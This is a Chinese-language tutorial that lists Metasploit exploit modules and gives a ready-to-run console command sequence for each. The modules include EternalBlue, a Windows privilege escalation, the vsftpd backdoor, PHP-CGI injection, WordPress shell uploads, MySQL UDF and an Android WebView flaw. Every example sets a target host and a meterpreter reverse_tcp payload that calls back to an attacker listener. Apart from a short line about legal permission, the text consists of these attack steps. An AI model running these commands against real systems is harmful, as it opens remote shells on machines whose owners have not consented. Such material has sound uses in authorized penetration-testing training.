metasploit/modules/exploits 有哪些模块,以及具体使用案例
Metasploit框架的exploits
模块用于利用已知漏洞执行代码,通常用于获取远程控制或执行特定任务。以下是一些常见的exploits
模块及其使用案例:
1. Windows漏洞利用
-
exploit/windows/smb/ms17_010_eternalblue
:利用SMBv1漏洞(永恒之蓝)。use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.1 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.2 set LPORT 4444 run
-
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
:利用Windows权限提升漏洞。use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set SESSION 1 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.2 set LPORT 4444 run
2. Linux漏洞利用
-
exploit/unix/ftp/vsftpd_234_backdoor
:利用vsftpd 2.3.4后门漏洞。use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.1.1 set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 192.168.1.2 set LPORT 4444 run
-
exploit/unix/webapp/php_cgi_arg_injection
:利用PHP-CGI参数注入漏洞。use exploit/unix/webapp/php_cgi_arg_injection set RHOSTS 192.168.1.1 set RPORT 80 set TARGETURI /vulnerable.php set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.2 set LPORT 4444 run
3. Web应用漏洞利用
-
exploit/multi/http/wp_admin_shell_upload
:利用WordPress管理员后台上传shell漏洞。use exploit/multi/http/wp_admin_shell_upload set RHOSTS 192.168.1.1 set TARGETURI /wordpress set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.2 set LPORT 4444 run
-
exploit/multi/http/wordpress_file_upload
:利用WordPress文件上传漏洞。use exploit/multi/http/wordpress_file_upload set RHOSTS 192.168.1.1 set TARGETURI /wordpress set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.2 set LPORT 4444 run
4. 数据库漏洞利用
exploit/unix/mysql/mysql_udf_payload
:利用MySQL UDF(用户定义函数)漏洞。use exploit/unix/mysql/mysql_udf_payload set RHOSTS 192.168.1.1 set RPORT 3306 set USER dbuser set PASS dbpass set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 192.168.1.2 set LPORT 4444 run
5. 其他
exploit/android/browser/webview_addjavascriptinterface
:利用Android WebView AddJavascriptInterface漏洞。use exploit/android/browser/webview_addjavascriptinterface set RHOSTS 192.168.1.1 set RPORT 8080 set PAYLOAD android/meterpreter/reverse_tcp set LHOST 192.168.1.2 set LPORT 4444 run
注意事项
- 使用这些模块时,请确保你有合法的权限和目的。
- 避免在未经授权的系统上进行测试,以免违反法律或政策。
通过这些模块和案例,你可以利用已知漏洞执行代码,从而获取远程控制或执行特定任务。